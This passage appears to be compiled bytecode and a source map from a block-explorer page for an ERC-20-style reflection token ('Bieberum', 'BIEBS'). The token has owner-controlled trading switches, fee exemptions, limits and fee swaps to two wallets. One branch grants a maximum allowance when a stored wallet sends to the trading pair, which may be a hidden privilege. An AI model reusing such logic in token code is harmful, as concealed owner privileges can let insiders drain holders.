f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611a3657611a36611a11565b5060010190565b5f60208284031215611a4d575f80fd5b81516110f98161185d565b5f805f60608486031215611a6a575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561047557610475611a11565b8181038181111561047557610475611a11565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611af75784516001600160a01b031683529383019391830191600101611ad2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b3257634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761047557610475611a1156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205aca52d1bcd7dc8ad840a3485482165b21ae6eb777b89086e4167b53803569a264736f6c63430008140033
Deployed Bytecode
0x60806040526004361061014a575f3560e01c80634f473db0116100b357806395d89b411161006d57806395d89b411461038f578063a9059cbb146103bc578063c816841b146103db578063dd62ed3e146103fa578063ed9953071461043e578063f2fde38b14610446575f80fd5b80634f473db0146102e3578063659419a41461030257806370a0823114610321578063715018a61461034057806383364ea2146103545780638da5cb5b14610373575f80fd5b806318160ddd1161010457806318160ddd1461025157806323b872dd1461026a5780632c28f579146102895780632fae79371461029f578063313ce567146102b35780633d8af5f2146102ce575f80fd5b8063039cc7491461015557806306fdde031461017d578063095ea7b3146101b75780630e5a9231146101e657806311a63e17146101fb5780631694505e14610232575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016a600b5481565b6040519081526020015b60405180910390f35b348015610188575f80fd5b5060408051808201909152600981526842696562657265756d60b81b60208201525b6040516101749190611812565b3480156101c2575f80fd5b506101d66101d1366004611874565b610465565b6040519015158152602001610174565b3480156101f1575f80fd5b5061016a600d5481565b348015610206575f80fd5b5060175461021a906001600160a01b031681565b6040516001600160a01b039091168152602001610174565b34801561023d575f80fd5b5060015461021a906001600160a01b031681565b34801561025c575f80fd5b506646d7991dd1c20061016a565b348015610275575f80fd5b506101d661028436600461189e565b61047b565b348015610294575f80fd5b5061029d6104e2565b005b3480156102aa575f80fd5b5061029d61057a565b3480156102be575f80fd5b5060405160098152602001610174565b3480156102d9575f80fd5b5061016a600c5481565b3480156102ee575f80fd5b5061029d6102fd3660046118dc565b6105b5565b34801561030d575f80fd5b5060165461021a906001600160a01b031681565b34801561032c575f80fd5b5061016a61033b3660046118f3565b6105e3565b34801561034b575f80fd5b5061029d610604565b34801561035f575f80fd5b5061029d61036e36600461190e565b610675565b34801561037e575f80fd5b505f546001600160a01b031661021a565b34801561039a575f80fd5b50604080518082019091526005815264424945425360d81b60208201526101aa565b3480156103c7575f80fd5b506101d66103d6366004611874565b610712565b3480156103e6575f80fd5b50600a5461021a906001600160a01b031681565b348015610405575f80fd5b5061016a610414366004611991565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b61029d61071e565b348015610451575f80fd5b5061029d6104603660046118f3565b610998565b5f610471338484610a7f565b5060015b92915050565b5f610487848484610ba2565b6104d884336104d385604051806060016040528060288152602001611b4f602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611046565b610a7f565b5060019392505050565b5f546001600160a01b031633146105145760405162461bcd60e51b815260040161050b906119c8565b60405180910390fd5b60065460ff16156105675760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c6564000000000000604482015260640161050b565b6006805462ff00ff191662010001179055565b5f546001600160a01b031633146105a35760405162461bcd60e51b815260040161050b906119c8565b6646d7991dd1c200600b819055600c55565b5f546001600160a01b031633146105de5760405162461bcd60e51b815260040161050b906119c8565b600d55565b6001600160a01b0381165f908152600360205260408120546104759061107e565b5f546001600160a01b0316331461062d5760405162461bcd60e51b815260040161050b906119c8565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461069e5760405162461bcd60e51b815260040161050b906119c8565b5f5b8281101561070c578160025f8686858181106106be576106be6119fd565b90506020020160208101906106d391906118f3565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061070481611a25565b9150506106a0565b50505050565b5f610471338484610ba2565b5f546001600160a01b031633146107475760405162461bcd60e51b815260040161050b906119c8565b60015f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bb9190611a3d565b6001600160a01b031663c9c653963060015f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e9190611a3d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610888573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ac9190611a3d565b600a80546001600160a01b0319166001600160a01b039283161790556001546108d9913091165f19610a7f565b6001546001600160a01b031663f305d71934306108f5816105e3565b5f806109085f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109939190611a58565b505050565b5f546001600160a01b031633146109c15760405162461bcd60e51b815260040161050b906119c8565b6001600160a01b038116610a265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161050b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ae15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050b565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050b565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c065760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050b565b6001600160a01b038216610c685760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050b565b5f8111610cc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050b565b6001600160a01b0382165f9081526002602052604090205460ff16158015610d0957506001600160a01b0383165f9081526002602052604090205460ff16155b15610f425760065460ff16610d9a575f546001600160a01b03848116911614610d9a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161050b565b600b54811115610dec5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161050b565b600a546001600160a01b03838116911614610e7157600c5481610e0e846105e3565b610e189190611a83565b10610e715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161050b565b5f610e7b306105e3565b600d54600b54919250821015908210610e9457600b5491505b808015610ea95750600654610100900460ff16155b8015610ebd575060065462010000900460ff165b8015610ed75750600a546001600160a01b03868116911614155b8015610efb57506001600160a01b0384165f9081526002602052604090205460ff16155b8015610f1f57506001600160a01b0385165f9081526002602052604090205460ff16155b15610f3f57610f2d82611100565b478015610f3d57610f3d8161126a565b505b50505b6001600160a01b0383165f9081526002602052604090205460019060ff1680610f8257506001600160a01b0383165f9081526002602052604090205460ff165b80610fb45750600a546001600160a01b03858116911614801590610fb45750600a546001600160a01b03848116911614155b15610fc057505f61103a565b600a546001600160a01b038581169116148015610feb57506001546001600160a01b03848116911614155b15610ffd576010546013556011546007555b600a546001600160a01b03848116911614801561102857506001546001600160a01b03858116911614155b1561103a576012546013556014546007555b61070c848484846112f6565b5f81848411156110695760405162461bcd60e51b815260040161050b9190611812565b505f6110758486611a96565b95945050505050565b5f600e548211156110e45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161050b565b5f6110ed611324565b90506110f98382611345565b9392505050565b6006805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611142576111426119fd565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111bd9190611a3d565b816001815181106111d0576111d06119fd565b6001600160a01b0392831660209182029290920101526001546111f69130911684610a7f565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122e9085905f90869030904290600401611aa9565b5f604051808303815f87803b158015611245575f80fd5b505af1158015611257573d5f803e3d5ffd5b50506006805461ff001916905550505050565b5f601554826112799190611b18565b90505f6112868284611a96565b6017546040519192506001600160a01b03169083156108fc029084905f818181858888f193505050501580156112be573d5f803e3d5ffd5b506016546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561070c573d5f803e3d5ffd5b8061130357611303611386565b61130e8484846113b3565b8061070c5761070c600854601355600954600755565b5f805f61132f6114ba565b909250905061133e8282611345565b9250505090565b5f6110f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f7565b6013541580156113965750600754155b1561139d57565b60138054600855600780546009555f9182905555565b5f805f805f806113c287611523565b9550955095509550955095506113d88989611578565b156113e7576113e789896115ab565b6001600160a01b0389165f9081526003602052604090205461140990876115ed565b6001600160a01b03808b165f9081526003602052604080822093909355908a1681522054611437908661162e565b6001600160a01b0389165f908152600360205260409020556114588161168c565b61146284836116d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114a791815260200190565b60405180910390a3505050505050505050565b600e545f9081906646d7991dd1c2006114d38282611345565b8210156114ee575050600e54926646d7991dd1c20092509050565b90939092509050565b5f81836115175760405162461bcd60e51b815260040161050b9190611812565b505f6110758486611b18565b5f805f805f805f805f61153b8a6013546007546116f6565b9250925092505f61154a611324565b90505f805f61155b8e878787611748565b919e509c509a509598509396509194505050505091939550919395565b600a545f906001600160a01b0383811691161480156110f957506016546001600160a01b03848116911614905092915050565b6001600160a01b038082165f908152600560209081526040808320938616835292905220545f1911156115e9576115e481835f19610a7f565b5f6015555b5050565b5f6110f983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611046565b5f8061163a8385611a83565b9050838110156110f95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050b565b5f611695611324565b90505f6116a28383611794565b305f908152600360205260409020549091506116be908261162e565b305f90815260036020526040902055505050565b600e546116df90836115ed565b600e55600f546116ef908261162e565b600f555050565b5f80808061170f60646117098989611794565b90611345565b90505f61172160646117098a89611794565b90505f611738826117328b866115ed565b906115ed565b9992985090965090945050505050565b5f8080806117568886611794565b90505f6117638887611794565b90505f6117708888611794565b90505f6117818261173286866115ed565b939b939a50919850919650505050505050565b5f825f036117a357505f610475565b5f6117ae8385611b37565b9050826117bb8583611b18565b146110f95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050b565b5f6020808352835180828501525f5b8181101561183d57858101830151858201604001528201611821565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611871575f80fd5b50565b5f8060408385031215611885575f80fd5b82356118908161185d565b946020939093013593505050565b5f805f606084860312156118b0575f80fd5b83356118bb8161185d565b925060208401356118cb8161185d565b929592945050506040919091013590565b5f602082840312156118ec575f80fd5b5035919050565b5f60208284031215611903575f80fd5b81356110f98161185d565b5f805f60408486031215611920575f80fd5b833567ffffffffffffffff80821115611937575f80fd5b818601915086601f83011261194a575f80fd5b813581811115611958575f80fd5b8760208260051b850101111561196c575f80fd5b602092830195509350508401358015158114611986575f80fd5b809150509250925092565b5f80604083850312156119a2575f80fd5b82356119ad8161185d565b915060208301356119bd8161185d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201611a3657611a36611a11565b5060010190565b5f60208284031215611a4d575f80fd5b81516110f98161185d565b5f805f60608486031215611a6a575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561047557610475611a11565b8181038181111561047557610475611a11565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611af75784516001600160a01b031683529383019391830191600101611ad2565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b3257634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761047557610475611a1156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205aca52d1bcd7dc8ad840a3485482165b21ae6eb777b89086e4167b53803569a264736f6c63430008140033
Deployed Bytecode Sourcemap
4580:13459:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5613:57;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5613:57:0;;;;;;;;6958:83;;;;;;;;;;-1:-1:-1;7028:5:0;;;;;;;;;;;;-1:-1:-1;;;7028:5:0;;;;6958:83;;;;;;;:::i;8798:193::-;;;;;;;;;;-1:-1:-1;8798:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8798:193:0;1205:187:1;5754:51:0;;;;;;;;;;;;;;;;6362:87;;;;;;;;;;-1:-1:-1;6362:87:0;;;;-1:-1:-1;;;;;6362:87:0;;;;;;-1:-1:-1;;;;;1577:32:1;;;1559:51;;1547:2;1532:18;6362:87:0;1397:219:1;4667:41:0;;;;;;;;;;-1:-1:-1;4667:41:0;;;;-1:-1:-1;;;;;4667:41:0;;;7381:95;;;;;;;;;;-1:-1:-1;5014:16:0;7381:95;;8999:446;;;;;;;;;;-1:-1:-1;8999:446:0;;;;;:::i;:::-;;:::i;8411:172::-;;;;;;;;;;;;;:::i;:::-;;13187:137;;;;;;;;;;;;;:::i;7144:83::-;;;;;;;;;;-1:-1:-1;7144:83:0;;4862:1;2458:36:1;;2446:2;2431:18;7144:83:0;2316:184:1;5683:58:0;;;;;;;;;;;;;;;;13614:130;;;;;;;;;;-1:-1:-1;13614:130:0;;;;;:::i;:::-;;:::i;6268:87::-;;;;;;;;;;-1:-1:-1;6268:87:0;;;;-1:-1:-1;;;;;6268:87:0;;;7235:138;;;;;;;;;;-1:-1:-1;7235:138:0;;;;;:::i;:::-;;:::i;4425:148::-;;;;;;;;;;;;;:::i;13332:230::-;;;;;;;;;;-1:-1:-1;13332:230:0;;;;;:::i;:::-;;:::i;3959:79::-;;;;;;;;;;-1:-1:-1;3997:7:0;4024:6;-1:-1:-1;;;;;4024:6:0;3959:79;;7049:87;;;;;;;;;;-1:-1:-1;7121:7:0;;;;;;;;;;;;-1:-1:-1;;;7121:7:0;;;;7049:87;;8591:199;;;;;;;;;;-1:-1:-1;8591:199:0;;;;;:::i;:::-;;:::i;5578:26::-;;;;;;;;;;-1:-1:-1;5578:26:0;;;;-1:-1:-1;;;;;5578:26:0;;;7484:184;;;;;;;;;;-1:-1:-1;7484:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7633:18:0;;;7601:7;7633:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7484:184;7915:484;;;:::i;4173:244::-;;;;;;;;;;-1:-1:-1;4173:244:0;;;;;:::i;:::-;;:::i;8798:193::-;8900:4;8922:39;747:10;8945:7;8954:6;8922:8;:39::i;:::-;-1:-1:-1;8979:4:0;8798:193;;;;;:::o;8999:446::-;9131:4;9148:36;9158:6;9166:9;9177:6;9148:9;:36::i;:::-;9195:220;9218:6;747:10;9266:138;9322:6;9266:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9266:19:0;;;;;;:11;:19;;;;;;;;747:10;9266:33;;;;;;;;;;:37;:138::i;:::-;9195:8;:220::i;:::-;-1:-1:-1;9433:4:0;8999:446;;;;;:::o;8411:172::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;;;;;;;;;8468:14:::1;::::0;::::1;;8467:15;8459:54;;;::::0;-1:-1:-1;;;8459:54:0;;4893:2:1;8459:54:0::1;::::0;::::1;4875:21:1::0;4932:2;4912:18;;;4905:30;4971:28;4951:18;;;4944:56;5017:18;;8459:54:0::1;4691:350:1::0;8459:54:0::1;8524:14;:21:::0;;-1:-1:-1;;8556:19:0;;;;;8411:172::o;13187:137::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;5014:16:::1;13244:20;:30:::0;;;13285:21:::1;:31:::0;13187:137::o;13614:130::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;13701:14:::1;:35:::0;13614:130::o;7235:138::-;-1:-1:-1;;;;;7348:16:0;;7301:7;7348:16;;;:7;:16;;;;;;7328:37;;:19;:37::i;4425:148::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;4532:1:::1;4516:6:::0;;4495:40:::1;::::0;-1:-1:-1;;;;;4516:6:0;;::::1;::::0;4495:40:::1;::::0;4532:1;;4495:40:::1;4563:1;4546:19:::0;;-1:-1:-1;;;;;;4546:19:0::1;::::0;;4425:148::o;13332:230::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;13445:9:::1;13441:114;13460:19:::0;;::::1;13441:114;;;13535:8;13501:18;:31;13520:8;;13529:1;13520:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13501:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13501:31:0;:42;;-1:-1:-1;;13501:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13481:3;::::1;::::0;::::1;:::i;:::-;;;;13441:114;;;;13332:230:::0;;;:::o;8591:199::-;8696:4;8718:42;747:10;8742:9;8753:6;8718:9;:42::i;7915:484::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;8012:15:::1;;;;;;;;;-1:-1:-1::0;;;;;8012:15:0::1;-1:-1:-1::0;;;;;8012:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7994:55:0::1;;8058:4;8065:15;;;;;;;;;-1:-1:-1::0;;;;;8065:15:0::1;-1:-1:-1::0;;;;;8065:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7994:94;::::0;-1:-1:-1;;;;;;7994:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5936:15:1;;;7994:94:0::1;::::0;::::1;5918:34:1::0;5988:15;;5968:18;;;5961:43;5853:18;;7994:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7980:11;:108:::0;;-1:-1:-1;;;;;;7980:108:0::1;-1:-1:-1::0;;;;;7980:108:0;;::::1;;::::0;;-1:-1:-1;8131:15:0;8099:68:::1;::::0;8116:4:::1;::::0;8131:15:::1;-1:-1:-1::0;;8099:8:0::1;:68::i;:::-;8178:15;::::0;-1:-1:-1;;;;;8178:15:0::1;:31;8217:9;8250:4;8270:24;8250:4:::0;8270:9:::1;:24::i;:::-;8309:1;8326::::0;8343:7:::1;3997::::0;4024:6;-1:-1:-1;;;;;4024:6:0;;3959:79;8343:7:::1;8178:213;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8178:213:0;;;-1:-1:-1;;;;;6374:15:1;;;8178:213:0::1;::::0;::::1;6356:34:1::0;6406:18;;;6399:34;;;;6449:18;;;6442:34;;;;6492:18;;;6485:34;6556:15;;;6535:19;;;6528:44;8365:15:0::1;6588:19:1::0;;;6581:35;6290:19;;8178:213:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7915:484::o:0;4173:244::-;4086:6;;-1:-1:-1;;;;;4086:6:0;747:10;4086:22;4078:67;;;;-1:-1:-1;;;4078:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4262:22:0;::::1;4254:73;;;::::0;-1:-1:-1;;;4254:73:0;;7140:2:1;4254:73:0::1;::::0;::::1;7122:21:1::0;7179:2;7159:18;;;7152:30;7218:34;7198:18;;;7191:62;-1:-1:-1;;;7269:18:1;;;7262:36;7315:19;;4254:73:0::1;6938:402:1::0;4254:73:0::1;4364:6;::::0;;4343:38:::1;::::0;-1:-1:-1;;;;;4343:38:0;;::::1;::::0;4364:6;::::1;::::0;4343:38:::1;::::0;::::1;4392:6;:17:::0;;-1:-1:-1;;;;;;4392:17:0::1;-1:-1:-1::0;;;;;4392:17:0;;;::::1;::::0;;;::::1;::::0;;4173:244::o;9453:369::-;-1:-1:-1;;;;;9580:19:0;;9572:68;;;;-1:-1:-1;;;9572:68:0;;7547:2:1;9572:68:0;;;7529:21:1;7586:2;7566:18;;;7559:30;7625:34;7605:18;;;7598:62;-1:-1:-1;;;7676:18:1;;;7669:34;7720:19;;9572:68:0;7345:400:1;9572:68:0;-1:-1:-1;;;;;9659:21:0;;9651:68;;;;-1:-1:-1;;;9651:68:0;;7952:2:1;9651:68:0;;;7934:21:1;7991:2;7971:18;;;7964:30;8030:34;8010:18;;;8003:62;-1:-1:-1;;;8081:18:1;;;8074:32;8123:19;;9651:68:0;7750:398:1;9651:68:0;-1:-1:-1;;;;;9730:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9782:32;;160:25:1;;;9782:32:0;;133:18:1;9782:32:0;;;;;;;9453:369;;;:::o;13752:2395::-;-1:-1:-1;;;;;13874:18:0;;13866:68;;;;-1:-1:-1;;;13866:68:0;;8355:2:1;13866:68:0;;;8337:21:1;8394:2;8374:18;;;8367:30;8433:34;8413:18;;;8406:62;-1:-1:-1;;;8484:18:1;;;8477:35;8529:19;;13866:68:0;8153:401:1;13866:68:0;-1:-1:-1;;;;;13953:16:0;;13945:64;;;;-1:-1:-1;;;13945:64:0;;8761:2:1;13945:64:0;;;8743:21:1;8800:2;8780:18;;;8773:30;8839:34;8819:18;;;8812:62;-1:-1:-1;;;8890:18:1;;;8883:33;8933:19;;13945:64:0;8559:399:1;13945:64:0;14037:1;14028:6;:10;14020:64;;;;-1:-1:-1;;;14020:64:0;;9165:2:1;14020:64:0;;;9147:21:1;9204:2;9184:18;;;9177:30;9243:34;9223:18;;;9216:62;-1:-1:-1;;;9294:18:1;;;9287:39;9343:19;;14020:64:0;8963:405:1;14020:64:0;-1:-1:-1;;;;;14117:22:0;;;;;;:18;:22;;;;;;;;14116:23;:52;;;;-1:-1:-1;;;;;;14144:24:0;;;;;;:18;:24;;;;;;;;14143:25;14116:52;14097:1370;;;14233:14;;;;14228:209;;3997:7;4024:6;-1:-1:-1;;;;;14298:15:0;;;4024:6;;14298:15;14268:153;;;;-1:-1:-1;;;14268:153:0;;9575:2:1;14268:153:0;;;9557:21:1;9614:2;9594:18;;;9587:30;9653:34;9633:18;;;9626:62;9724:33;9704:18;;;9697:61;9775:19;;14268:153:0;9373:427:1;14268:153:0;14489:20;;14479:6;:30;;14453:120;;;;-1:-1:-1;;;14453:120:0;;10007:2:1;14453:120:0;;;9989:21:1;10046:2;10026:18;;;10019:30;10085;10065:18;;;10058:58;10133:18;;14453:120:0;9805:352:1;14453:120:0;14611:11;;-1:-1:-1;;;;;14605:17:0;;;14611:11;;14605:17;14602:169;;14676:21;;14667:6;14651:13;14661:2;14651:9;:13::i;:::-;:22;;;;:::i;:::-;:46;14643:112;;;;-1:-1:-1;;;14643:112:0;;10494:2:1;14643:112:0;;;10476:21:1;10533:2;10513:18;;;10506:30;10572:34;10552:18;;;10545:62;-1:-1:-1;;;10623:18:1;;;10616:33;10666:19;;14643:112:0;10292:399:1;14643:112:0;14787:27;14817:24;14835:4;14817:9;:24::i;:::-;14908:14;;14965:20;;14787:54;;-1:-1:-1;14885:37:0;;;;14942:43;;14939:90;;15009:20;;14987:42;;14939:90;15048:7;:37;;;;-1:-1:-1;15078:7:0;;;;;;;15077:8;15048:37;:71;;;;-1:-1:-1;15107:12:0;;;;;;;15048:71;:112;;;;-1:-1:-1;15149:11:0;;-1:-1:-1;;;;;15141:19:0;;;15149:11;;15141:19;;15048:112;:157;;;;-1:-1:-1;;;;;;15183:22:0;;;;;;:18;:22;;;;;;;;15182:23;15048:157;:204;;;;-1:-1:-1;;;;;;15228:24:0;;;;;;:18;:24;;;;;;;;15227:25;15048:204;15044:412;;;15287:29;15296:19;15287:8;:29::i;:::-;15356:21;15400:14;;15396:45;;15417:22;15428:10;15417;:22::i;:::-;15268:188;15044:412;14180:1287;;14097:1370;-1:-1:-1;;;;;15514:24:0;;15479:12;15514:24;;;:18;:24;;;;;;15494:4;;15514:24;;;:50;;-1:-1:-1;;;;;;15542:22:0;;;;;;:18;:22;;;;;;;;15514:50;15513:112;;;-1:-1:-1;15592:11:0;;-1:-1:-1;;;;;15584:19:0;;;15592:11;;15584:19;;;;:40;;-1:-1:-1;15613:11:0;;-1:-1:-1;;;;;15607:17:0;;;15613:11;;15607:17;;15584:40;15509:570;;;-1:-1:-1;15662:5:0;15509:570;;;15720:11;;-1:-1:-1;;;;;15712:19:0;;;15720:11;;15712:19;:53;;;;-1:-1:-1;15749:15:0;;-1:-1:-1;;;;;15735:30:0;;;15749:15;;15735:30;;15712:53;15709:171;;;15799:16;;15786:10;:29;15851:13;;15834:14;:30;15709:171;15904:11;;-1:-1:-1;;;;;15898:17:0;;;15904:11;;15898:17;:53;;;;-1:-1:-1;15935:15:0;;-1:-1:-1;;;;;15919:32:0;;;15935:15;;15919:32;;15898:53;15894:174;;;15985:17;;15972:10;:30;16038:14;;16021;:31;15894:174;16089:50;16113:4;16119:2;16123:6;16131:7;16089:23;:50::i;1123:224::-;1243:7;1279:12;1271:6;;;;1263:29;;;;-1:-1:-1;;;1263:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1303:9:0;1315:5;1319:1;1315;:5;:::i;:::-;1303:17;1123:224;-1:-1:-1;;;;;1123:224:0:o;12387:323::-;12482:7;12540;;12529;:18;;12507:110;;;;-1:-1:-1;;;12507:110:0;;11031:2:1;12507:110:0;;;11013:21:1;11070:2;11050:18;;;11043:30;11109:34;11089:18;;;11082:62;-1:-1:-1;;;11160:18:1;;;11153:40;11210:19;;12507:110:0;10829:406:1;12507:110:0;12628:19;12650:10;:8;:10::i;:::-;12628:32;-1:-1:-1;12678:24:0;:7;12628:32;12678:11;:24::i;:::-;12671:31;12387:323;-1:-1:-1;;;12387:323:0:o;16155:474::-;6200:7;:14;;-1:-1:-1;;6200:14:0;;;;;16248:16:::1;::::0;;16262:1:::1;16248:16:::0;;;;;::::1;::::0;;-1:-1:-1;;16248:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;16248:16:0::1;16224:40;;16293:4;16275;16280:1;16275:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16275:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;16319:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;16319:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;16275:7;;16319:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16309:4;16314:1;16309:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16309:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;16384:15:::1;::::0;16352:62:::1;::::0;16369:4:::1;::::0;16384:15:::1;16402:11:::0;16352:8:::1;:62::i;:::-;16425:15;::::0;:196:::1;::::0;-1:-1:-1;;;16425:196:0;;-1:-1:-1;;;;;16425:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;16506:11;;16425:15:::1;::::0;16548:4;;16575::::1;::::0;16595:15:::1;::::0;16425:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6237:7:0;:15;;-1:-1:-1;;6237:15:0;;;-1:-1:-1;;